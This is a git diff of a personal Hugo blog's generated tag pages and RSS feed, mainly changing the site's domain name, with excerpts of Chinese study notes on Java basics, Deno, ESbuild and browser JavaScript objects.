accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>java</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>JAVA基础学习笔记</h2></header><div class=entry-content><p>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>java | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/java/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/java/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="java"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/java/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="java"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>java</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>JAVA基础学习笔记</h2></header><div class=entry-content><p>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
 java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行
 java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑
 java分为Java SE、Java EE 和 Java ME。
@@ -18,7 +18,8 @@
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
@@ -28,7 +29,7 @@
 int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i
 整型
 整型类型：int，byte，short，long
-整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;...</p></div><footer class=entry-footer><span title='2021-06-16 09:35:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JAVA基础学习笔记" href=https://xiaochenabc123.github.io/posts/19/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;...</p></div><footer class=entry-footer><span title='2021-06-16 09:35:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JAVA基础学习笔记" href=https://chenjunlinabc.github.io/posts/19/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/java/index.xml b/tags/java/index.xml
index 80d028c8..14abffc3 100644
--- a/tags/java/index.xml
+++ b/tags/java/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>java on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/java/</link>
+    <link>https://chenjunlinabc.github.io/tags/java/</link>
     <description>Recent content in java on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 09:35:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/java/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 09:35:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/java/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>JAVA基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/19/</link>
+      <link>https://chenjunlinabc.github.io/posts/19/</link>
       <pubDate>Wed, 16 Jun 2021 09:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/19/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/19/</guid>
       <description>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
 java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行
 java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑
@@ -38,7 +38,8 @@ java入口程序必须是静态方法，方法名也必须为main，参数必须
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
diff --git a/tags/java/page/1/index.html b/tags/java/page/1/index.html
index cfbcf0c2..43ae267a 100644
--- a/tags/java/page/1/index.html
+++ b/tags/java/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/java/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/java/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/java/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/java/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/java/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/java/"></head></html>
\ No newline at end of file
diff --git a/tags/javascript/index.html b/tags/javascript/index.html
index 3bc19f08..450e063a 100644
--- a/tags/javascript/index.html
+++ b/tags/javascript/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>JavaScript | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/javascript/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/javascript/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JavaScript"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/javascript/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JavaScript"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>JavaScript</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Deno js运行时环境学习笔记</h2></header><div class=entry-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>JavaScript | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/javascript/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/javascript/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JavaScript"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/javascript/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JavaScript"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>JavaScript</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Deno js运行时环境学习笔记</h2></header><div class=entry-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
 安装
@@ -16,11 +16,7 @@
 检查是否安装完成
 deno –version
 第一个例子
-import DFetch from "https://deno.land/x/dfetch/mod.ts"
-DFetch.get("https://xiaochenabc123.test.com").then((response) => {
-console.log(response)
-})
-运行
+import DFetch from "https://deno.land/x/dfetch/mod.ts" DFetch.get("https://xiaochenabc123.test.com").then((response) => { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过–allow-net默认运行，例如：deno run –allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -35,7 +31,7 @@
 -A 或者 –allow-all 允许全部权限
 VsCode插件deno
 deno内置工具
-安装模块...</p></div><footer class=entry-footer><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://xiaochenabc123.github.io/posts/161/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
+安装模块...</p></div><footer class=entry-footer><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://chenjunlinabc.github.io/posts/161/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
 安装
@@ -52,53 +48,23 @@
 或者
 yarn build
 例子（app.jsx）
-import React from 'react'
-import ReactDOM from 'react-dom'
-const App = () => {
-return (
-&lt;div>
-&lt;h1>Hallo, Esbuild!&lt;/h1>
-&lt;/div>
-)
-}
-ReactDOM.render(
-&lt;App />,
-document.getElementById("app")
-)
-index.html
-&lt;div id="app">&lt;/div>
-&lt;script src="./build/index.js">&lt;/script>
-我本地打包只花64ms就打包好了
-使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://xiaochenabc123.github.io/posts/132/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript知识扩展</h2></header><div class=entry-content><p>函数被调用时，浏览器会传递两个参数，this和arguments
+import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( &lt;div> &lt;h1>Hallo, Esbuild!&lt;/h1> &lt;/div> ) } ReactDOM.render( &lt;App />, document.getElementById("app") ) index.html
+&lt;div id="app">&lt;/div> &lt;script src="./build/index.js">&lt;/script> 我本地打包只花64ms就打包好了
+使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://chenjunlinabc.github.io/posts/132/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript知识扩展</h2></header><div class=entry-content><p>函数被调用时，浏览器会传递两个参数，this和arguments
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
 callee属性对应着当前的函数
 例如：
-function abc(){
-console.log(arguments.length);
-console.log(arguments[0]);
-console.log(arguments.callee);
-console.log(this)
-}
-abc('hallo');
-BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
-可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
-const urlData = "https://xiaochenabc123.test.com/;
-window.location.href = urlData;
-这个也可以实现跳转
-window.location.assign("https://xiaochenabc123.test.com")
-这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace("https://xiaochenabc123.test.com")
-reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
-history表示浏览器的历史记录
-console.log(window.history)
-length表示本次访问网站的数量
+console.log(window.location) const urlData = "https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
